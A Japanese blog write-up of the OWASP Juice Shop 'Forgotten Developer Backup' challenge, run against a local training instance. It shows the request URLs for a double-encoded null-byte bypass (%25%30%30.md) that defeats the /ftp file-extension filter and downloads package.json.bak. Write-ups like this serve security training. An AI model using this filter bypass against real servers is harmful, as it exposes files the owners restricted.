shikata ga nai

Private? There is no such things.

Juice ShopのForgotten Developer Backupをやってみた

Hello there, ('ω')ノ

 

開発者の忘れたバックアップファイルにアクセスしなさいと。

 

f:id:ThisIsOne:20210708145412p:plain

 

以前、Access Logのチャレンジでわかったファイルのディレクトリへ。

 http://localhost:3000/ftp

 

f:id:ThisIsOne:20210708150233p:plain

 

それらしいバックアップファイルを開こうとすると。

 http://localhost:3000/ftp/package.json.bak

 

f:id:ThisIsOne:20210708150453p:plain

 

mdファイルは開けるようなので。

 

f:id:ThisIsOne:20210708151027p:plain

 

拡張子にmdを指定して。

その前にヌルバイトを入れて.mdの文字を切り捨てることに。

レスポンスのエラーコードが変わるだけで。

 http://localhost:3000/ftp/package.json.bak%00.md

f:id:ThisIsOne:20210708150949p:plain


はじめに試すのはエンコードで。

 

f:id:ThisIsOne:20210708151210p:plain

 

再度、アクセスしてみると。

 http://localhost:3000/ftp/package.json.bak%25%30%30.md

 

f:id:ThisIsOne:20210708151326p:plain

 

バックアップファイルを読み込むことができて。

 

f:id:ThisIsOne:20210708151408p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210708151513p:plain

 

Best regards, (^^ゞ

ひとりひとりの自覚をもった行動で、医療従事者と保健所職員を助けよう。

f:id:ThisIsOne:20200404115457p:plain